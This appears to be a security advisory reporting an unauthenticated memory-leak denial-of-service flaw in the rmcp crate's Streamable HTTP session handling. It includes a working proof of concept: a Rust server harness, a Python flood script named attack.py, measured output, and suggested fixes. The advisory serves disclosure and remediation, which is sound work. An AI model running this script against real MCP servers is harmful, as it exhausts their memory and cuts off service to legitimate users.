Details
### Summary
An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server's `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **≈75 GB** of resident memory just from the session table.
### Details
The bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126–1170`) is:
```rust
} else {
let (session_id, transport) = self
.session_manager
.create_session() // (★)
.await
.map_err(internal_error_response("create session"))?;
// ...capture init params if a SessionStore is configured...
if let ClientJsonRpcMessage::Request(req) = &mut message {
let ClientRequest::InitializeRequest(init_req) = &req.request else {
return Err(unexpected_message_response("initialize request")); // (A)
};
validate_header_matches_init_body( // (B)
&part.headers,
init_req.params.protocol_version.as_str(),
Some(req.id.clone()),
)?;
req.request.extensions_mut().insert(part);
} else {
return Err(unexpected_message_response("initialize request")); // (C)
}
let service = self
.get_service() // (D)
.map_err(internal_error_response("get service"))?;
Self::spawn_session_worker( // (★★)
self.session_manager.clone(),
session_id.clone(),
service,
transport,
None,
);
// ...persist to external store, send response...
}
```
Two facts make this unsafe:
1. `(★)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>`) and spawns a `LocalSessionWorker` task.
2. `(★★)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(&session_id)`.
Therefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return:
- The local `transport: WorkerTransport<LocalSessionWorker>` goes out of scope; its `_drop_guard` cancels the worker's `CancellationToken`.
- The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped.
- `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel's `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory.
Because the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic.
The bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: <bound-address>` value and is allowed through `validate_dns_rebinding_headers` normally.
A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory.
### Proof of concept
The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.
#### Step 1 — server harness
`Cargo.toml` (paste verbatim):
```toml
[package]
name = "rmcp_leak_repro"
version = "0.0.1"
edition = "2021"
publish = false
[dependencies]
rmcp = { version = "1.7.0", default-features = false, features = [
"server",
"transport-streamable-http-server",
] }
tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
tokio-util = { version = "0.7" }
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
anyhow = "1"
[workspace]
```
`src/main.rs` (paste verbatim):
```rust
//! Minimal MCP Streamable HTTP server that prints the size of the
//! LocalSessionManager.sessions HashMap once a second so the leak is
//! observable from stdout.
use std::sync::Arc;
use rmcp::{
ErrorData, RoleServer, ServerHandler,
model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},
service::RequestContext,
transport::{
StreamableHttpServerConfig, StreamableHttpService,
streamable_http_server::session::local::LocalSessionManager,
},
};
const BIND_ADDRESS: &str = "127.0.0.1:8000";
#[derive(Clone, Default)]
struct MinimalServer;
impl ServerHandler for MinimalServer {
async fn initialize(
&self,
_request: InitializeRequestParams,
_cx: RequestContext<RoleServer>,
) -> Result<InitializeResult, ErrorData> {
Ok(InitializeResult::new(ServerCapabilities::builder().build())
.with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1")))
}
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let ct = tokio_util::sync::CancellationToken::new();
let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());
// Reporter — prints sessions.len() every second.
{
let manager = manager.clone();
let ct = ct.clone();
tokio::spawn(async move {
loop {
tokio::select! {
_ = ct.cancelled() => break,
_ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {
let n = manager.sessions.read().await.len();
println!("[count] active_sessions={n}");
}
}
}
});
}
let service = StreamableHttpService::new(
|| Ok(MinimalServer::default()),
manager.clone(),
StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),
);
let router = axum::Router::new().nest_service("/mcp", service);
let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;
println!("[server] listening on http://{BIND_ADDRESS}/mcp");
let _ = axum::serve(tcp_listener, router)
.with_graceful_shutdown(async move {
tokio::signal::ctrl_c().await.ok();
ct.cancel();
})
.await;
Ok(())
}
```
Start it:
```bash
cargo run --release
```
Initial output:
```
[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
```
#### Step 2 — attacker
`attack.py` (paste verbatim — Python 3 standard library only, no `pip install` required):
```python
import http.client, json, sys, time
HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"
# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {},
}).encode("ascii")
headers = {
"Host": f"{HOST}:{PORT}", # passes allowed_hosts
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"Content-Length": str(len(body)),
}
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
conn.request("POST", PATH, body=body, headers=headers)
resp = conn.getresponse()
status = resp.status
resp.read()
conn.close()
if status == 422:
leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")
```
Run it:
```bash
python3 attack.py 1000
```
#### Step 3 — observed evidence
Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):
```
[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).
```
Server output during and after the attack:
```
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000 <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000 <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000
```
The behavioural evidence that confirms the vulnerability:
- Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`).
- A single Python client sustained `1000 / 0.46 ≈ 2 174` leak requests per second.
- After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process's lifetime.
<!--
Optional: drop in a terminal screenshot here. Two screenshots
(server console / attacker console) or one side-by-side capture are
both fine. Filenames can be anything you like; suggested:


-->
<img width="3554" height="1468" alt="poc" src="https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6" />
### Impact
- **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = ["localhost", "127.0.0.1", "::1"]` accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network.
- **Authentication required**: None.
- **User interaction required**: None.
- **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the `SessionId` `Arc<str>`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client:
- **1 hour**: ~7.8 M entries, ≈3.5 GB
- **1 day**: ~187 M entries, ≈84 GB
- **1 week**: process is long dead from OOM
- **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.
- **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.
### Suggested fix
Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.
1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier — a small refactor.
2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.
A regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.